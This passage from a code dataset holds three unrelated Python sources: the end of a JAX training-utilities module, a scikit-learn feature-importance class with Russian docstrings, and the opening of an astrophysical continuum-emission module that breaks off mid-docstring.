will immediately return a future\n representing its result.\n The function being decorated can be an instance method or normal function.\n Consecutive calls to the decorated function are guaranteed to be in order\n and non overlapping.\n An error raised by the decorated function will be raised in the background\n thread at call-time. Raising the error in the main thread is deferred until\n the next call, so as to be non-blocking.\n All subsequent calls to the decorated function after an error has been raised\n will not run (regardless of whether the arguments have changed); instead\n they will re-raise the original error in the main thread.\n\n Args:\n thread_name_prefix: Str prefix for the background thread, for easier\n debugging.\n\n Returns:\n decorator that runs any function it wraps in a background thread, and\n handles any errors raised.\n \"\"\"\n # We have a single thread pool per wrapped function to ensure that calls to\n # the function are run in order (but in a background thread).\n pool = futures.ThreadPoolExecutor(max_workers=1,\n thread_name_prefix=thread_name_prefix)\n errors = []\n @wrapt.decorator\n def decorator(wrapped, instance, args, kwargs):\n \"\"\"Runs wrapped in a background thread so result is non-blocking.\n\n Args:\n wrapped: A function to wrap and execute in background thread.\n Can be instance method or normal function.\n instance: The object to which the wrapped function was bound when it was\n called (None if wrapped is a normal function).\n args: List of position arguments supplied when wrapped function\n was called.\n kwargs: Dict of keyword arguments supplied when the wrapped function was\n called.\n\n Returns:\n A future representing the result of calling wrapped.\n Raises:\n Exception object caught in background thread, if call to wrapped fails.\n Exception object with stacktrace in main thread, if the previous call to\n wrapped failed.\n \"\"\"\n\n def trap_errors(*args, **kwargs):\n \"\"\"Wraps wrapped to trap any errors thrown.\"\"\"\n\n if errors:\n # Do not execute wrapped if previous call errored.\n return\n try:\n return wrapped(*args, **kwargs)\n except Exception as e:\n errors.append(sys.exc_info())\n logging.exception(\"Error in producer thread for %s\",\n thread_name_prefix)\n raise e\n\n if errors:\n # Previous call had an error, re-raise in main thread.\n exc_info = errors[-1]\n raise exc_info[1].with_traceback(exc_info[2])\n del instance\n return pool.submit(trap_errors, *args, **kwargs)\n return decorator\n\n\ndef kwargs_only(f):\n @functools.wraps(f)\n def wrapped(**kwargs):\n return f(**kwargs)\n return wrapped\n\n\n@contextlib.contextmanager\ndef log_activity(activity_name):\n logging.info(\"[jaxline] %s starting...\", activity_name)\n try:\n yield\n finally:\n if sys.exc_info()[0] is not None:\n logging.exception(\"[jaxline] %s failed with error.\", activity_name)\n else:\n logging.info(\"[jaxline] %s finished.\", activity_name)\n\n\nclass DistributedRNGMode(enum.Enum):\n \"\"\"Enumeration of the allowed modes for distributed rng handling.\"\"\"\n\n UNIQUE_HOST_UNIQUE_DEVICE = \"unique_host_unique_device\"\n UNIQUE_HOST_SAME_DEVICE = \"unique_host_same_device\"\n SAME_HOST_UNIQUE_DEVICE = \"same_host_unique_device\"\n SAME_HOST_SAME_DEVICE = \"same_host_same_device\"\n\n @property\n def unique_host(self):\n return self in {DistributedRNGMode.UNIQUE_HOST_UNIQUE_DEVICE,\n DistributedRNGMode.UNIQUE_HOST_SAME_DEVICE}\n\n @property\n def unique_device(self):\n return self in {DistributedRNGMode.UNIQUE_HOST_UNIQUE_DEVICE,\n DistributedRNGMode.SAME_HOST_UNIQUE_DEVICE}\n\n\ndef host_id_devices_for_rng(mode=\"unique_host_unique_device\"):\n if not DistributedRNGMode(mode).unique_host:\n return None\n return jnp.broadcast_to(jax.host_id(), (jax.local_device_count(),))\n\n\ndef specialize_rng_host_device(\n rng, host_id, axis_name, mode=\"unique_host_unique_device\"):\n \"\"\"Specializes a rng to the host/device we are on.\n\n Must be called from within a pmapped function.\n\n Args:\n rng: a jax.random.PRNGKey.\n host_id: the host ID to fold in, or None. Must be specified (not None) for\n the \"unique_host_*\" modes.\n axis_name: the axis of the devices we are specializing across.\n mode: str mode. Must be one of \"unique_host_unique_device\",\n \"unique_host_same_device\", \"same_host_unique_device\",\n \"same_host_same_device\".\n Returns:\n jax.random.PRNGKey specialized to host/device.\n \"\"\"\n # Will throw an error if mode is not a valid enumeration.\n enum_mode = DistributedRNGMode(mode)\n if enum_mode.unique_host:\n # Note that we intentionally do NOT call `jax.host_id()` here, taking it as\n # an input instead. This is because we don't want to (effectively) use a\n # hard-coded Python int inside a potentially `pmap`ped context as that\n # results in different executable fingerprints across hosts.\n if host_id is None:\n raise ValueError(f\"host_id must be given in RNG mode: {enum_mode}\")\n rng = jax.random.fold_in(rng, host_id)\n if enum_mode.unique_device:\n rng = jax.random.fold_in(rng, jax.lax.axis_index(axis_name))\n return rng\n\n\ndef rendezvous():\n \"\"\"Forces all hosts to check in.\"\"\"\n with log_activity(\"rendezvous\"):\n x = jnp.ones([jax.local_device_count()])\n x = jax.device_get(jax.pmap(lambda x: jax.lax.psum(x, \"i\"), \"i\")(x))\n if x[0] != jax.device_count():\n raise ValueError(f\"Expected {jax.device_count()} got {x}\")\n\n\nclass PeriodicAction:\n \"\"\"An action that executes periodically (e.g. logging).\"\"\"\n\n def __init__(self,\n fn: Callable[[int, Dict[str, float]], None],\n interval_type: str,\n interval: float,\n start_time: float = 0.0,\n start_step: int = 0,\n run_async: bool = True,\n log_all_data: bool = False):\n \"\"\"Initializes attributes for periodic action.\n\n Args:\n fn: Function representing the action to be run periodically. Takes global\n step and scalars returned by `Experiment.step` as arguments.\n interval_type: \"secs\" or \"steps\".\n interval: Interval between function calls.\n start_time: The start epoch time as a float to calculate time intervals\n with respect to.\n start_step: The start step number to calculate step intervals with respect\n to.\n run_async: boolean whether to run this perodic action in a background\n thread.\n log_all_data: boolean whether to accumulate scalar_outputs at each step.\n \"\"\"\n if interval_type not in [\"secs\", \"steps\"]:\n raise ValueError(f\"Unrecognized interval type {interval_type}.\")\n self._fn = fn\n self._interval_type = interval_type\n self._interval = interval\n self._prev_time = start_time\n self._prev_step = start_step\n if run_async:\n self._apply_fn = make_async(self._fn.__name__)(self._apply_fn) # pylint: disable=no-value-for-parameter\n self.log_all_data = log_all_data\n self.log = {}\n\n def _apply_fn(self, step, steps_per_sec, scalar_outputs):\n \"\"\"Runs periodic action, optionally dumping all intermediate logged data.\"\"\"\n # Add data for this step to the log.\n self.log[step] = scalar_outputs\n # Note device_get copies from device <> host so is expensive.\n # However, JAX's DeviceArray has a cache which be reused for all\n # subsequent PeriodicActions that make the same call. Also, in async mode\n # this function runs in a background thread.\n log = jax.device_get(self.log)\n # Reset self.log here to prevent async weirdness\n self.log = {}\n # Steps per sec must be added after device-get\n log[step][\"steps_per_sec\"] = steps_per_sec\n\n for logged_step, logged_scalars in log.items():\n self._fn(logged_step, logged_scalars)\n\n def _apply_condition(self, t: float, step: int):\n if self._interval_type == \"secs\":\n return t - self._prev_time >= self._interval\n else:\n assert self._interval_type == \"steps\" # error should've be caught in init\n return step % self._interval == 0\n\n def update_time(self, t: float, step: int):\n \"\"\"Updates the internal time measurements.\"\"\"\n self._prev_time = t\n self._prev_step = step\n\n def __call__(self, t: float, step: int, scalar_outputs: Dict[str,\n jnp.ndarray]):\n \"\"\"Calls periodic action if interval since last call sufficiently large.\n\n Args:\n t: The current epoch time as a float.\n step: The current step number.\n scalar_outputs: Scalars to be processed by the periodic action.\n \"\"\"\n if self._apply_condition(t, step):\n steps_per_sec = (step - self._prev_step) / (t - self._prev_time)\n self._apply_fn(step, steps_per_sec, scalar_outputs)\n self.update_time(t, step)\n elif self.log_all_data:\n # Log data for dumping at next interval.\n self.log[step] = scalar_outputs\n\n\ndef debugger_fallback(f):\n \"\"\"Maybe wraps f with a pdb-callback.\"\"\"\n @functools.wraps(f)\n def inner_wrapper(*args, **kwargs):\n \"\"\"Main entry function.\"\"\"\n try:\n return f(*args, **kwargs)\n # KeyboardInterrupt and SystemExit are not derived from BaseException,\n # hence not caught by the post-mortem.\n except Exception as e: # pylint: disable=broad-except\n if _JAXLINE_POST_MORTEM.value:\n pdb.post_mortem(e.__traceback__)\n raise\n return inner_wrapper\n\n\ndef evaluate_should_return_dict(f):\n \"\"\"Prints a deprecation warning for old-usage of evaluate.\n\n As of cl/302532551 the evaluate method on an experiment should\n return a dictionary of scalars to be logged, just like the step method.\n\n Until May 1st 2020, evaluate is also allowed to return nothing (the\n older behavior). After that date, returning nothing will be an error.\n Please update old code. If you do not wish Jaxline to log anything for you,\n return an empty dictionary. Otherwise a dictionary of scalars may be returned\n like `step`.\n\n Args:\n f: The evaluate method.\n\n Returns:\n The evaluate function wrapped with a deprecation warning.\n \"\"\"\n none_return_is_deprecated_msg = (\n \"Your experiment\\'s evaluate function returned no output, this is \"\n \"deprecated behavior. `evaluate` should now return a dictionary of \"\n \"scalars to log, just like `step`. Please update your code. \"\n \"After May 1st 2020 this code will be updated and returning None will \"\n \"error.\")\n\n def evaluate_with_warning(*args, **kwargs):\n evaluate_out = f(*args, **kwargs)\n if evaluate_out is None:\n logging.log_first_n(logging.WARNING, none_return_is_deprecated_msg, 1)\n return {}\n return evaluate_out\n return evaluate_with_warning\n\n\n# We use a global dictionary so that multiple different checkpoints can share\n# underlying data.\nGLOBAL_CHECKPOINT_DICT = {}\n\n\nclass InMemoryCheckpointer:\n \"\"\"A Checkpointer reliant on an in-memory global dictionary.\"\"\"\n\n def __init__(self, config, mode):\n self._max_checkpoints_to_keep = config.max_checkpoints_to_keep\n del mode\n\n def _override_or_insert(self, current_state, snapshot):\n \"\"\"Update the current state based on a snapshot.\"\"\"\n for sk, sv in snapshot.items():\n # Duck-typing for \"is this a Jaxline Experiment class?\".\n if (sk in current_state\n and hasattr(current_state[sk], \"CHECKPOINT_ATTRS\")\n and hasattr(current_state[sk], \"NON_BROADCAST_CHECKPOINT_ATTRS\")):\n for kk in sv.CHECKPOINT_ATTRS:\n setattr(current_state[sk], kk, getattr(sv, kk))\n for kk in sv.NON_BROADCAST_CHECKPOINT_ATTRS:\n setattr(\n current_state[sk], kk,\n jax.tree_map(copy.copy, getattr(sv, kk)))\n else:\n current_state[sk] = sv\n\n def get_experiment_state(self, ckpt_series):\n if ckpt_series not in GLOBAL_CHECKPOINT_DICT:\n active = threading.local()\n new_series = CheckpointNT(active, [])\n GLOBAL_CHECKPOINT_DICT[ckpt_series] = new_series\n if not hasattr(GLOBAL_CHECKPOINT_DICT[ckpt_series].active, \"state\"):\n GLOBAL_CHECKPOINT_DICT[ckpt_series].active.state = (\n config_dict.ConfigDict())\n return GLOBAL_CHECKPOINT_DICT[ckpt_series].active.state\n\n def save(self, ckpt_series):\n \"\"\"Save the current state of ckpt_series to a snapshot.\"\"\"\n series = GLOBAL_CHECKPOINT_DICT[ckpt_series]\n active_state = self.get_experiment_state(ckpt_series)\n id_ = 0 if not series.history else series.history[-1].id + 1\n snapshot = copy.copy(active_state)\n series.history.append(SnapshotNT(id_, snapshot))\n if len(series.history) > self._max_checkpoints_to_keep:\n GLOBAL_CHECKPOINT_DICT[ckpt_series] = series._replace(\n history=series.history[-self._max_checkpoints_to_keep:])\n logging.info(\"Saved checkpoint %s with id %s.\", ckpt_series, id_)\n\n def can_be_restored(self, ckpt_series):\n return ((ckpt_series in GLOBAL_CHECKPOINT_DICT) and\n GLOBAL_CHECKPOINT_DICT[ckpt_series].history)\n\n def restore(self, ckpt_series):\n snapshot = GLOBAL_CHECKPOINT_DICT[ckpt_series].history[-1].pickle_nest\n current_state = self.get_experiment_state(ckpt_series)\n self._override_or_insert(current_state, snapshot)\n logging.info(\"Returned checkpoint %s with id %s.\", ckpt_series,\n GLOBAL_CHECKPOINT_DICT[ckpt_series].history[-1].id)\n\n def restore_path(self, ckpt_series):\n if not self.can_be_restored(ckpt_series):\n return None\n return GLOBAL_CHECKPOINT_DICT[ckpt_series].history[-1].id\n\n\ndef disable_pmap_jit(fn: Callable[..., Any]) -> Callable[..., Any]:\n \"\"\"Disables pmaps/jits inside a function if `--jaxline_disable_pmap_jit=True`.\n\n Args:\n fn: function to be wrapped, with arbitrary call-signature and return type.\n\n Returns:\n A function that when called, calls fn within a chex context that strips out\n all pmaps and jits if `--jaxline_disable_pmap_jit=True`, and otherwise calls\n fn unmodified.\n \"\"\"\n @functools.wraps(fn)\n def inner_wrapper(*args, **kwargs):\n if _JAXLINE_DISABLE_PMAP_JIT.value:\n with chex.fake_pmap_and_jit():\n return fn(*args, **kwargs)\n else:\n return fn(*args, **kwargs)\n return inner_wrapper\n","sub_path":"jaxline/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":19106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"170699315","text":"from typing import List\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nfrom joblib import Parallel, delayed\nfrom sklearn.base import BaseEstimator\nfrom sklearn.metrics import roc_auc_score, precision_score, \\\n recall_score, confusion_matrix, \\\n get_scorer\nfrom sklearn.preprocessing import binarize\n\n__all__ = ('FeatureImportance')\n\n\nclass FeatureImportance:\n \"\"\"\n В классе реализованы методы исследования важности фич:\n Leave_one_out - поочередное удаление одного из признаков\n One_factor - построение однофакторных моделей\n PermutationImportance - поочередное перемещивание колонки признака\n \"\"\"\n\n def __init__(self, X_train: pd.DataFrame, X_test: pd.DataFrame, y_train: pd.Series, y_test: pd.Series,\n model: BaseEstimator, metric: str = 'roc_auc', columns: List = None):\n \"\"\"\n Parameters\n ----------\n X_train:\n Обучающий набор\n X_test:\n Тестовый набор\n y_train:\n Целевая для обучающего набора\n y_test:\n Целевая для тестового набора\n columns:\n Список колонок для анализа\n model:\n Модель, совместимая с sklearn estimator\n \"\"\"\n if columns is None:\n columns = X_test.columns\n self.X_train = X_train[columns]\n self.X_test = X_test[columns]\n self.y_train = y_train\n self.y_test = y_test\n self.model = model\n self.metric = get_scorer(metric)\n self.metric_name = metric\n\n def _predict(self, X_test: pd.DataFrame, y_test: pd.Series, threshold: float = 0.5) -> float:\n \"\"\"\n Вывод на экран и получение метрики на тестовом наборе.\n\n Parameters\n ----------\n X_test:\n Тестовый набор\n y_test:\n Целевая для тестового набора\n threshold:\n Порог для бинаризации\n\n Return value\n ------------\n Посчитанная метрика\n \"\"\"\n\n y_pred_proba = self.model.predict_proba(X_test)[:, 1]\n y_pred = binarize(y_pred_proba.reshape(-1, 1), threshold=threshold).reshape(-1)\n\n auc = roc_auc_score(y_test.astype(int), y_pred_proba)\n precision = precision_score(y_test.astype(int), y_pred)\n recall = recall_score(y_test.astype(int), y_pred)\n TN, FP, FN, TP = confusion_matrix(y_test, y_pred).ravel()\n\n print('AUC:%.5f, Precision:%.5f, Recall:%.5f, True:%d of %d, Total:%d, Tr:%.2f' %\n (auc, precision, recall,\n TP, TP + FP, TP + FN,\n threshold), flush=True)\n\n result_metric = self.metric(self.model, X_test, y_test)\n return result_metric\n\n def _get_metric(self, X_train, X_test, y_train, y_test, threshold=0.5):\n \"\"\"\n Обучение модели и получение метрики на тестовом наборе.\n\n Parameters\n ----------\n X_train:\n Тренировочный набор\n X_test:\n Тестовый набор\n y_train:\n Целевая для трени набора\n y_test:\n Целевая для тестового набора\n threshold: float\n Порог для разделения классов\n \"\"\"\n\n self.model.fit(X_train, y_train)\n result_metric = self._predict(X_test, y_test, threshold)\n return result_metric\n\n def _leave_one_out(self, args: List) -> List:\n \"\"\"\n Метод, который вычисляет AUC без одной фичи. Не должен вызываться напрямую\n\n Parameters\n ----------\n args:\n Массив из двух значений: feature, full_model_metric\n feature - имя фичи, без которой нужно вычислить метрику\n full_model_metric - метрика модели со всеми фичами\n\n Return value\n ----------\n [feature, full_model_metric]:\n feature - имя фичи, без которой вычислен метрика\n full_model_metric - метрика исходной модели - метрика модели без текущего признака.\n \"\"\"\n feature, full_model_result_metric = args\n result_metric = self._get_metric(self.X_train.drop(feature, axis=1),\n self.X_test.drop(feature, axis=1),\n self.y_train, self.y_test)\n return [feature, full_model_result_metric - result_metric]\n\n def get_leave_one_out(self, n_jobs: int = 1, verbose: int = 0) -> pd.DataFrame:\n \"\"\"\n Подбор признаков Leave-One-Out - поочередное удаление одного из признаков.\n\n Parameters\n ----------\n n_jobs:\n Количество потоков для вычисления.\n verbose:\n Если значение больше 0, то будет выводиться отладочная информация\n\n Return value\n ----------\n feature_importance:\n Содержит столбцы [Признак, leave_one_out_*]\n (leave_one_out_auc = метрика исходной модели - метрика модели без текущего признака.)\n отрицательное значение - признак ухудшает модель\n положительное значение - признак улучшает модель\n \"\"\"\n full_model_result_metric = self._get_metric(self.X_train, self.X_test,\n self.y_train, self.y_test)\n feature_importance = pd.DataFrame()\n\n results = Parallel(n_jobs=n_jobs, verbose=verbose)(\n map(delayed(self._leave_one_out), [(col, full_model_result_metric)\n for col in self.X_train.columns]))\n\n feature_importance = feature_importance.append(results)\n\n feature_importance.columns = ['features', 'leave_one_out_' + self.metric_name]\n feature_importance = feature_importance.sort_values(by='leave_one_out_' + self.metric_name,\n ascending=False).reset_index(drop=True)\n return feature_importance\n\n def _one_factor(self, feature: str) -> List:\n \"\"\"\n Метод, который вычисляет AUC одной фичи. Не должен вызываться напрямую\n\n Parameters\n ----------\n feature:\n имя фичи, по которой нужно вычислить AUC\n\n Return value\n ----------\n [feature, metric]:\n feature - имя фичи, по которой вычислен AUC\n metric - метрика однофакторной модели текущего признака.\n \"\"\"\n\n result_metric = self._get_metric(self.X_train[[feature]],\n self.X_test[[feature]],\n self.y_train, self.y_test)\n return [feature, result_metric]\n\n def get_one_factor_importance(self, n_jobs: int = 1, verbose: int = 0) -> pd.DataFrame:\n \"\"\"\n Построение однофакторных моделей - построение моделей от каждого признака.\n\n Parameters\n ----------\n n_jobs:\n Количество потоков для вычисления.\n verbose:\n Если значение больше 0, то будет выводиться отладочная информация\n\n Return value\n ----------\n feature_importance: pandas.DataFrame\n Содержит столбцы [Признак, one_fact_*]\n one_fact_* - метрика для однофакторной модели.\n \"\"\"\n feature_importance = pd.DataFrame()\n\n\n results = Parallel(n_jobs=n_jobs, verbose=verbose)(map(delayed(self._one_factor), [col\n for col in\n self.X_train.columns]))\n feature_importance = feature_importance.append(results)\n\n feature_importance.columns = ['features', 'one_fact_' + self.metric_name]\n feature_importance = feature_importance.sort_values(by='one_fact_' + self.metric_name,\n ascending=False).reset_index(drop=True)\n return feature_importance\n\n\n def _n_permutation_importance(self, args : List ) -> List:\n \"\"\"\n Метод, который вычисляет метрику для датасета с перемешанным признаком. Не должен вызываться напрямую\n\n Parameters\n ----------\n model:\n Обученная модель\n feature:\n Имя фичи, которую нужно перемещать для вычисления метрики\n full_model_metric:\n Метрика модели на исходном наборе данных\n n:\n Количество перемешиваний колонки и предсказания на тестовой выборке\n\n\n Return value\n ----------\n [feature, metric_name]:\n feature - имя фичи, по которой вычислена метрика\n metric_name - метрика модели с текущим перемещанным признаком.\n \"\"\"\n\n # print(feature+'\\n'+full_model_metric)\n feature, full_model_metric, n = args\n X_test_copy=self.X_test.copy(deep=True)\n\n scores = []\n for i in range(n):\n np.random.shuffle(X_test_copy[feature].values)\n scores.append(self._predict(X_test_copy, self.y_test))\n\n result_metric = full_model_metric - np.max(scores) \\\n if np.abs(full_model_metric - np.max(scores)) > \\\n np.abs(full_model_metric - np.min(scores)) \\\n else full_model_metric - np.min(scores)\n\n return [feature, result_metric]\n\n\n\n def get_n_permutation_importance(self, n: int = 2, model: BaseEstimator = None, n_jobs: int = 1, verbose: int = 0) -> pd.DataFrame:\n \"\"\"\n Подбор признаков PermutationImportance - поочередная выборка признака,\n его перемещивание и возвращение в датафрейм. Расчет на новом наборе метрики.\n `\n Parameters\n ----------\n n:\n Количество перемешиваний колонки и предсказания на тестовой выборке\n model:\n Бинарный классификатор\n если model = None - обучаем переданную в конструктор класса модель,\n иначе используем предварительно обученную и переданную в данную функцию\n n_jobs:\n Количество потоков для вычисления.\n verbose:\n Если значение больше 0, то будет выводиться отладочная информация\n\n Return value\n ----------\n feature_importance:\n Содержит столбцы [Признак, permutation_metric_name]\n (метрика = метрика модели на исходном наборе - метрика модели с текущим перемещанным признаком)\n отрицательное значение - признак ухудшает модель\n положительное значение - признак улучшает модель\n \"\"\"\n if not model:\n self.model = self.model.fit(self.X_train, self.y_train)\n full_model_metric = self._predict(self.X_test, self.y_test)\n feature_importance = pd.DataFrame([])\n\n for col in self.X_train.columns:\n feature_importance=feature_importance.append([self._n_permutation_importance((col, full_model_metric, n))])\n\n #results = Parallel(n_jobs=n_jobs, verbose=verbose)(map(delayed(self._n_permutation_importance), [(col, full_model_metric, n)\n # for col in self.X_train.columns]))\n\n #feature_importance = feature_importance.append(results)\n\n feature_importance.columns = ['features', 'permutation_' + self.metric_name]\n\n return feature_importance\n\n def plot_features_importance(self, features_imp: pd.DataFrame, column_name: str, filename: str = '',\n n_features: int = 50, seaborn_palette: str = 'GnBu_d'):\n \"\"\"\n Построение графика важности признаков.\n\n Parameters\n ----------\n features_imp:\n Датафрейм: Признак, Метрика\n column_name:\n Название колоки со значениями важности\n filename:\n Имя файла\n seaborn_palette:\n Название seaborn.color_palette для окраски графика\n n_features:\n Количество признаков для вывода на графике\n \"\"\"\n features_imp = features_imp.sort_values(by=column_name, ascending=False).head(n_features)\n fig = plt.figure(figsize=(8, 8))\n bp = sns.barplot(y=features_imp['features'], x=features_imp[column_name], orient='h',\n palette=sns.color_palette(seaborn_palette))\n\n plt.show()\n\n fig.savefig(filename + '_' + column_name + '.jpg')\n","sub_path":"model/feature_importance.py","file_name":"feature_importance.py","file_ext":"py","file_size_in_byte":14718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"268770502","text":"\"\"\"\nContinuum module\n\"\"\"\nimport os\n\nimport numpy as np\nfrom scipy.interpolate import splev, splrep\nfrom scipy.ndimage import map_coordinates\n\nfrom .Ioneq import ioneq\nfrom ChiantiPy.base import ionTrails\nimport ChiantiPy.tools.data as chdata\nimport ChiantiPy.tools.util as util\nimport ChiantiPy.tools.io as io\nimport ChiantiPy.tools.constants as const\nimport ChiantiPy.Gui as chGui\n\n\nclass continuum(ionTrails):\n \"\"\"\n The top level class for continuum calculations. Includes methods for the calculation of the\n free-free and free-bound continua.\n\n Parameters\n ----------\n ionStr : `str`\n CHIANTI notation for the given ion, e.g. 'fe_12' that corresponds to the Fe XII ion.\n temperature : array-like\n In units of Kelvin\n abundance : `float` or `str`, optional\n Elemental abundance relative to Hydrogen or name of CHIANTI abundance file,\n without the '.abund' suffix, e.g. 'sun_photospheric_1998_grevesse'.\n em : array-like, optional\n Line-of-sight emission measure (:math:`\\int\\mathrm{d}l\\,n_en_H`), in units of\n :math:`\\mathrm{cm}^{-5}`, or the volumetric emission measure (:math:`\\int\\mathrm{d}V\\,n_en_H`)\n in units of :math:`\\mathrm{cm}^{-3}`.\n\n Examples\n --------\n >>> import ChiantiPy.core as ch\n >>> import numpy as np\n >>> temperature = np.logspace(4,9,20)\n >>> cont = ch.continuum('fe_15',temperature)\n >>> wavelength = np.arange(1,1000,10)\n >>> cont.freeFree(wavelength)\n >>> cont.freeBound(wavelength, include_abundance=True, include_ioneq=False)\n >>> cont.calculate_free_free_loss()\n >>> cont.calculate_free_bound_loss()\n\n Notes\n -----\n The methods for calculating the free-free and free-bound emission and losses return\n their result to an attribute. See the respective docstrings for more information.\n \"\"\"\n\n def __init__(self, ionStr, temperature, abundance=None, em=None):\n self.IonStr = ionStr\n self.nameDict = util.convertName(ionStr)\n self.Z = self.nameDict['Z']\n self.Stage = self.nameDict['Ion']\n self.Ion = self.nameDict['Ion']\n self.Temperature = np.atleast_1d(temperature)\n self.NTemperature = self.Temperature.size\n self.Defaults = chdata.Defaults\n\n if em is None:\n self.Em = 1.*np.ones_like(self.Temperature)\n elif type(em) is list:\n self.Em = np.asarray(em)\n elif type(em) is np.ndarray:\n self.Em = em\n elif type(em) is float:\n self.Em = em*np.ones_like(self.Temperature)\n\n self.Ip = chdata.Ip[self.Z-1, self.Stage-1]\n self.Ipr = chdata.Ip[self.Z-1, self.Stage-2]\n self.ionization_potential = chdata.Ip[self.Z-1, self.Stage-1]*const.ev2Erg\n self.IprErg = self.Ipr*const.ev2Erg\n # Set abundance\n if abundance is not None:\n try:\n self.Abundance = float(abundance)\n except ValueError:\n if abundance in chdata.AbundanceList:\n self.AbundanceName = abundance\n else:\n abundChoices = chdata.AbundanceList\n abundChoice = chGui.gui.selectorDialog(abundChoices, label='Select Abundance name')\n abundChoice_idx = abundChoice.selectedIndex\n self.AbundanceName = abundChoices[abundChoice_idx[0]]\n else:\n self.AbundanceName = chdata.Defaults['abundfile']\n if not hasattr(self, 'Abundance'):\n self.Abundance = chdata.Abundance[self.AbundanceName]['abundance'][self.Z-1]\n self.ioneqOne()\n\n def free_free_loss(self, **kwargs):\n \"\"\"\n Calculate the free-free energy loss rate of an ion. The result is returned to the\n `free_free_loss` attribute.\n\n The free-free radiative loss rate is given by Eq. 5.15a of [1]_. Writing the numerical\n constant in terms of the fine structure constant :math:`\\\\alpha`,\n\n .. math::\n \\\\frac{dW}{dtdV} = \\\\frac{4\\\\alpha^3h^2}{3\\pi^2m_e}\\left(\\\\frac{2\\pi k_B}{3m_e}\\\\right)^{1/2}Z^2T^{1/2}\\\\bar{g}_B\n\n where where :math:`Z` is the nuclear charge, :math:`T` is the electron temperature, and\n :math:`\\\\bar{g}_{B}` is the wavelength-averaged and velocity-averaged Gaunt factor. The\n Gaunt factor is calculated using the methods of [2]_. Note that this expression for the\n loss rate is just the integral over wavelength of Eq. 5.14a of [1]_, the free-free emission, and\n is expressed in units of erg :math:`\\mathrm{cm}^3\\,\\mathrm{s}^{-1}`.\n\n References\n ----------\n .. [1] Rybicki and Lightman, 1979, Radiative Processes in Astrophysics,\n `(Wiley-VCH) `_\n .. [2] Karzas and Latter, 1961, ApJSS, `6, 167\n `_\n \"\"\"\n # interpolate wavelength-averaged K&L gaunt factors\n gf_kl_info = io.gffintRead()\n gamma_squared = self.ionization_potential/const.boltzmann/self.Temperature\n for i, atemp in enumerate(self.Temperature):\n print('%s T: %10.2e gamma_squared %10.2e'%(self.IonStr, atemp, gamma_squared[i]))\n gaunt_factor = splev(np.log(gamma_squared),\n splrep(gf_kl_info['g2'],gf_kl_info['gffint']), ext=3)\n # calculate numerical constant\n prefactor = (4.*(const.fine**3)*(const.planck**2)/3./(np.pi**2)/const.emass\n * np.sqrt(2.*np.pi*const.boltzmann/3./const.emass))\n # include abundance and ionization equilibrium\n prefactor *= self.Abundance*self.ioneq_one(self.Stage, **kwargs)\n\n self.free_free_loss = prefactor*(self.Z**2)*np.sqrt(self.Temperature)*gaunt_factor\n\n def freeFree(self, wavelength, include_abundance=True, include_ioneq=True, **kwargs):\n \"\"\"\n Calculates the free-free emission for a single ion. The result is returned as a dict to\n the `FreeFree` attribute. The dict has the keywords `intensity`, `wvl`, `temperature`, `em`.\n\n The free-free emission for the given ion is calculated according Eq. 5.14a of [1]_,\n substituting :math:`\\\\nu=c/\\lambda`, dividing by the solid angle, and writing the numerical\n constant in terms of the fine structure constant :math:`\\\\alpha`,\n\n .. math::\n \\\\frac{dW}{dtdVd\\lambda} = \\\\frac{c}{3m_e}\\left(\\\\frac{\\\\alpha h}{\\pi}\\\\right)^3\\left(\\\\frac{2\\pi}{3m_ek_B}\\\\right)^{1/2}\\\\frac{Z^2}{\\lambda^2T^{1/2}}\\exp{\\left(-\\\\frac{hc}{\\lambda k_BT}\\\\right)}\\\\bar{g}_{ff},\n\n where :math:`Z` is the nuclear charge, :math:`T` is the electron temperature in K, and\n :math:`\\\\bar{g}_{ff}` is the velocity-averaged Gaunt factor. The Gaunt factor is estimated\n using the methods of [2]_ and [3]_, depending on the temperature and energy regime. See\n `itoh_gaunt_factor` and `sutherland_gaunt_factor` for more details.\n\n The free-free emission is in units of erg\n :math:`\\mathrm{cm}^3\\mathrm{s}^{-1}\\mathrm{\\mathring{A}}^{-1}\\mathrm{str}^{-1}`. If the emission\n measure has been set, the units will be multiplied by :math:`\\mathrm{cm}^{-5}` or\n :math:`\\mathrm{cm}^{-3}`, depending on whether it is the line-of-sight or volumetric\n emission measure, respectively.\n\n Parameters\n ----------\n wavelength : array-like\n In units of angstroms\n include_abundance : `bool`, optional\n If True, include the ion abundance in the final output.\n include_ioneq : `bool`, optional\n If True, include the ionization equilibrium in the final output\n\n References\n ----------\n .. [1] Rybicki and Lightman, 1979, Radiative Processes in Astrophysics,\n `(Wiley-VCH) `_\n .. [2] Itoh, N. et al., 2000, ApJS, `128, 125\n `_\n .. [3] Sutherland, R. S., 1998, MNRAS, `300, 321\n `_\n \"\"\"\n wavelength = np.atleast_1d(wavelength)\n # define the numerical prefactor\n prefactor = ((const.light*1e8)/3./const.emass\n * (const.fine*const.planck/np.pi)**3\n * np.sqrt(2.*np.pi/3./const.emass/const.boltzmann))\n # include temperature dependence\n prefactor *= self.Z**2/np.sqrt(self.Temperature)\n if include_abundance:\n prefactor *= self.Abundance\n if include_ioneq:\n prefactor *= self.IoneqOne\n if self.Em is not None:\n prefactor *= self.Em\n # define exponential factor\n exp_factor = np.exp(-const.planck*(1.e8*const.light)/const.boltzmann\n / np.outer(self.Temperature, wavelength))/(wavelength**2)\n # calculate gaunt factor\n gf_itoh = self.itoh_gaunt_factor(wavelength)\n gf_sutherland = self.sutherland_gaunt_factor(wavelength)\n gf = np.where(np.isnan(gf_itoh), gf_sutherland, gf_itoh)\n # express in units of ergs or photons\n energy_factor = 1.0\n if chdata.Defaults['flux'] == 'photon':\n energy_factor = const.planck*(1.e8*const.light)/wavelength\n\n free_free_emission = (prefactor[:,np.newaxis]*exp_factor*gf/energy_factor).squeeze()\n self.FreeFree = {'intensity':free_free_emission, 'temperature':self.Temperature, 'wvl':wavelength, 'em':self.Em, 'ions':self.IonStr}\n\n def freeFreeLoss(self, **kwargs):\n \"\"\"\n Calculate the free-free energy loss rate of an ion. The result is returned to the\n `FreeFreeLoss` attribute.\n\n The free-free radiative loss rate is given by Eq. 5.15a of [1]_. Writing the numerical\n constant in terms of the fine structure constant :math:`\\\\alpha`,\n\n .. math::\n 